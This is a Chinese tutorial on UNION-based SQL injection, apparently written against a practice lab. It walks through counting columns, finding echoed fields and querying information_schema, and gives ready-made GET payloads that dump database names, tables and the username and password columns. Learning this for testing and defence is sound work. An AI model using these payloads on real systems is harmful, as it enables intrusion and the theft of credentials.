4-5-3 联合查询注入
**前提说明:**以下以GET注入为例,即参数在URL里,若为POST等其他注入,只需把构造的语句换到其对应参数位置即可。
(如POST注入,就把构造的SQL语句放入其参数位置,即HTTP请求的包体里)
**适用情况:**适用于当前页面有回显的情况,属于最基本、成本最低的SQL注入。
1. 联合查询的原理
由于数据中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。
联合查询就是SQL语法中的union select语句。该语句会同时执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接。
由于虚拟表是二维结构,联合查询会**“纵向拼接”**两张虚拟的表。
- 格式:
select . . . . union select . . . .
注意:
-
在SQL注入中,有时候第一个查询会影响我们自己的查询(如查看回显位置等),我们就经常把第一个查询语句变为假,这样就只执行第二个查询语句
-
联合查询的特点就是,可以在当前数据库下实现跨库跨表查寻。这对于SQL注入是特别有利的。
2. 联合查询的必要条件
-
两张虚拟的表要具有相同的列数
可以通过order by语句来试探当前查询的表存在多少个列,进而为联合查询作必要铺垫。
如:
?id=35 order by 15,页面正常显示
?id=35 order by 16,页面异常或不显示
注意:
order by 后面不能再加东西,比如不能再接着and、or等,它自己就是语句结尾。
-
虚拟表对应的列的数据类型应相同
1. 数字类型(即整数型)是可以转化为字符串型的,因为数字可以变成任意数据类型
- 用途:
- 如在联合查询中要拼接两张表,此时我们不知道原表的字段数据类型,但因为数字可以变为任意数据类型,所以可以这样来构造我们的联合表:union select 1,2,3,4,5…,它的字段数据类型会自动适应原表的字段数据类型
- 如在构造SQL语句时,要尽量避免引号的出现,故语句里一些字符串类型的数据要转化为16进制表示,也是因为数字可以变成任意数据类型,解码时会根据环境自动适应和转换为字符串。
2. 字符串类型要转化为数字型,可以把字符串进行编码,用数字来表示字符串
- 用途:
- 如当查询出来的结果是字符串,需要和数字类型拼接在一起,就可以将字符串编码为数字再拼接
- 在SQL注入中,注入的句子好不要出现字符串类型,如 table_name=‘users’ 可转化为 table_name=0x7573657273
3. 联合查询注入步骤
-
首先查看是否有注入
-
查看有多少列(为联合查询做铺垫)
-
查看页面中哪些数据可以回显
-
查看当前数据库
-
查看所有的数据库
-
查看目标数据库的表
-
查看目标表中的字段
-
查看目标字段中的值
(以下实例均以字符串型为例,若是数字型更简单,?id=1后面不用引号闭合,最后不用加注释–+)
- 具体过程及语句:
/?id=1’ order by n --+ # 试探出列数,准备union联合查询
/?id=1’ union select null,null,null,null… --+ # 当不能使用order by语句试探列数时,可以用联合查询逐个添加null来试探
/?id=1’ and 1=2 union select 1,2,3 --+ # 查看页面中哪些数据有回显
/?id=1’ and 1=2 union select 1,2,database();–+ # 查看当前数据库
select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字,这时我们写的一串数字就是一个数组(或1个行向量,即生成原模原样的一行),这时select实际上没有向任何一个数据库查询数据,即查询命令不指向任何数据库的表。返回值就是我们输入的这个数组,这时它是个1行n列的表,表的属性名和值都是我们输入的数组,如下图:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1a5Fo23n-1600403342513)(…/images/20190409233918293.png)]
?id=1’ and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
// 通过利用union语句,构造出新的sql语句,查出对方所有数据库的名字
得到对方所有数据库名字:information_schema,challenges,mysql,performance_schema,security,sys
?id=1’ and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘目标数据库’ --+
?id=1’ and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x十六进制编码 --+
// 通过利用union语句,再次构造出新的sql语句,查出我的目标数据库中所有表的名字
- 注意:这里推荐下面的方法,将目标数据库名转换为16进制编码,这样可以避免一些引号带来的问题。即去掉两引号,前面加0x,选中目标数据库名,用hackbar将其转换为16进制(Hex Encode)。
得到目标数据库security的表名字:emails,referers,uagents,users
?id=1’ and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘目标表’ --+
?id=1’ and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x十六进制编码 --+
// 通过利用union语句,再次构造出新的sql语句,查出我的目标表中所有字段的名字
- 注意:仍是推荐下面16进制编码的方法,如何编码的具体操作同上
得到目标表users的字段名字:id,username,password
?id=1’ and 1=2 union select 1,2,group_concat(username) from security.users --+
?id=1’ and 1=2 union select 1,2,group_concat(password) from security.users --+
?id=1’ and 1=2 union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users --+
?id=1’ and 1=2 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
// 通过利用union语句,再次构造出新的sql语句,查出我的目标字段中的中所有值
- 注意:
- 使用最下面方法经过初步排版,有助于查看结果
- 仍是推荐16进制编码的方法,如何编码的具体操作同上
4. 常见问题
查询时报错:illegal mix of collations for operation ‘UNION’
原因:一些编码错误引起的
解决方法:将查询的字段改为16进制编码表示.如:select 1,2,hex(table_name) from information_schema.tables